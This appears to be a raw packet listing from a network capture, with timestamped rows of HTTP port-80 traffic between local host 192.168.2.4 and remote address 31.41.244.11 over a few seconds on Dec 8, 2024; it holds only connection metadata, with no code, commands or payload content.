Dec 8, 2024 18:06:08.745876074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.970753908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.970922947 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:09.970927000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.970937014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.970947981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.970957994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.970971107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:09.970993042 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:09.971097946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.971144915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:09.971164942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.971205950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:09.971369028 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.971380949 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.971391916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:09.971415997 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:09.971434116 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.094274998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.094296932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.094327927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.094352961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.097642899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.097692966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.097805977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.097845078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.162591934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.162657022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.162689924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.162736893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.166743994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.166790009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.166862965 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.166913033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.175079107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.175153017 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.175267935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.175318003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.183840036 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.183896065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.184175968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.184212923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.191761017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.191827059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.191906929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.191952944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.200108051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.200246096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.200256109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.200272083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.208477974 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.208548069 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.208604097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.208647013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.216852903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.216934919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.217180967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.217231035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.225227118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.225284100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.225372076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.225414991 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.233541012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.233586073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.233614922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.233654022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.241333008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.241394043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.241431952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.241476059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.248774052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.248816967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.248847008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.248886108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.354691982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.354746103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.354805946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.354845047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.357414961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.357456923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.357542992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.357584000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.361315966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.361366034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.361391068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.361433029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.365700960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.365750074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.365803003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.365845919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.370096922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.370143890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.370177984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.370218039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.374631882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.374679089 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.374731064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.374774933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.379089117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.379134893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.379154921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.379199982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.383358955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.383420944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.383547068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.383590937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.387754917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.387801886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.387890100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.387933969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.392178059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.392229080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.392286062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.392337084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.396624088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.396694899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.396755934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.396797895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.401329994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.401376009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.401453972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.401494026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.405451059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.405495882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.405529976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.405596018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.409908056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.409971952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.409996986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.410042048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.414294004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.414338112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.414364100 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.414411068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.418848038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.418906927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.418936968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.418978930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.423080921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.423142910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.423144102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.423183918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.546891928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.546969891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.547003031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.547051907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.548681021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.548724890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.548878908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.548923969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.552325964 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.552373886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.552433968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.552478075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.555982113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.556046963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.556055069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.556101084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.559493065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.559537888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.559552908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.559598923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.563045025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.563096046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.563257933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.563304901 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.566663027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.566731930 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.566804886 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.566848993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.570673943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.570722103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.570782900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.570827007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.573890924 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.573935986 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.574022055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.574065924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.577369928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.577415943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.577476978 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.577518940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.581089973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.581140041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.581176996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.581221104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.584583998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.584630966 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.584638119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.584683895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.588167906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.588232040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.588236094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.588279963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.591752052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.591799021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.591852903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.591898918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.595377922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.595433950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.595521927 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.595566034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.598948956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.599030018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.599061966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.599112988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.602543116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.602588892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.602658987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.602701902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.606087923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.606136084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.606200933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.606245995 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.609718084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.609757900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.609879017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.609924078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.613369942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.613424063 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.613450050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.613495111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.616851091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.616903067 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.617017984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.617063046 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.620485067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.620547056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.620559931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.620605946 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.624063015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.624109983 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.624268055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.624330044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.627639055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.627681971 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.627741098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.627784014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.631283045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.631324053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.631335020 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.631381035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.634885073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.634928942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.635030031 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.635075092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.738981962 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.739032984 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.739274025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.739331007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.741229057 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.741290092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.741393089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.741446972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.742945910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.742991924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.742999077 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.743038893 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.746067047 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.746125937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.746185064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.746236086 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.749147892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.749196053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.749278069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.749346018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.752265930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.752324104 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.752325058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.752370119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.755297899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.755347967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.755408049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.755445004 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.758385897 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.758449078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.758469105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.758511066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.761430025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.761476994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.761537075 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.761580944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.764493942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.764539003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.764619112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.764661074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.767596960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.767642021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.767709017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.767750978 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.770678043 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.770735979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.770777941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.770823002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.773797035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.773847103 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.773869038 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.773909092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.776793957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.776839972 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.776925087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.776972055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.779870033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.779915094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.779983997 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.780024052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.782936096 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.782984018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.783058882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.783104897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.786055088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.786104918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.786159039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.786201000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.789076090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.789118052 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.789155006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.789196968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.792107105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.792152882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.792239904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.792284012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.795180082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.795222998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.795273066 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.795324087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.798243999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.798300982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.798386097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.798433065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.801387072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.801444054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.801464081 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.801476955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.804425001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.804482937 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.804636955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.804680109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:10.807465076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:10.807521105 CET	49765	80	192.168.2.4	31.41.244.11
